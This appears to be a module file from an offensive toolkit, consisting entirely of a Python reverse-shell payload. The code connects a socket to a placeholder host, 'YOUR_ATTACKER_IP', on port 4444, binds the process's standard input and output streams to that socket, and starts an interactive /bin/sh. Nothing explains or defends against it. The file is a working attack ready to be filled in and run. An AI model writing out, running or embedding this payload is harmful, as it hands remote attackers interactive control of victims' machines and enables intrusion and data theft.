modules/payload_revshell.py

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("YOUR_ATTACKER_IP",4444))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
subprocess.call(["/bin/sh","-i"])